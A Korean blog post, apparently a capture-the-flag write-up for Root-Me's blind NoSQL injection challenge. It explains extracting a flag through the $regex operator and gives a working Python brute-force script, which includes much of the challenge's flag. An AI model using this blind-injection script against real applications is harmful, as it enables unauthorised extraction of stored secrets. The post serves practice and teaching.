ROOTME] NoSQL Injection - Blind

woounnan·2020년 4월 6일
1

wargame

목록 보기
36/59
post-thumbnail

문제

Challenge와 그에 맞는 flag 값을 요구하고 있다.

Challenge 값을 주어진 nosqlblind로 설정하고 접속을 시도해보면

flag가 맞지 않을 때의 FALSE에 해당하는 페이지와

NoSQL Injection으로 조건문을 일치시켰을 때 TRUE에 해당하는 페이지를 확인할 수 있다.


풀이

NoSQL Blind Injection

sql 쿼리를 사용하는 SQL Injection와 원리는 같지만, 다양한 함수를 이용하고 조건을 결합하는 형태의 공격이 아니다.
NoSQL에서는 그런 함수를 제공해주지 않기 때문에, 단순히 $ne와 같은 연산자를 활용해 문자열을 검색하는 수준에서 이용가능한 공격기법이다.

$regex

정규표현식으로 검색하는 연산자다.
이 연산자를 사용해 문자열을 대입하여 플래그값을 추출할 수 있다.
사용되는 표현식은 다음과 같다.

flag[$regex] = ^[bruteforce].*

bruteforce는 하나씩 대입하는 문자열 set 값이다.

코드 작성

파이썬으로 코드를 작성한다.

import urllib
import requests
import tqdm
import string



url = 'http://challenge01.root-me.org/web-serveur/ch48/index.php'

table = string.digits + string.letters + '\\'.join(list('!@#$%^&*()_+{}:"<>?-=[];\',./'))

print 'table: ' + table

ch = ''
flags = '3@sY_n0_5q7_1nj3c710n'
flag_find = 0
while True:
    for x in table:
        if x == '\\':
            ch = '\\'
            continue
        x = ch+x
        ch = ''
        payload = '^' + flags + x +'.*'
        print 'payload : ' + payload
        params = {'chall_name' : 'nosqlblind', 'flag[$regex]' : payload}
        '''
        urllib.quote_plus('url 인코딩할 문자열')
        '''
        res = requests.get(url, params = params)
        if res.text.find('Yeah') != -1:
            print 'Found flags ::: ' + x
            flags += x.replace('\\', '')
            flag_find = 1
            break
    if flag_find != 1:
        break
    flag_find = 0

print 'flag: ' + flags

해당 코드를 실행하면 플래그값이 출력된다.

0개의 댓글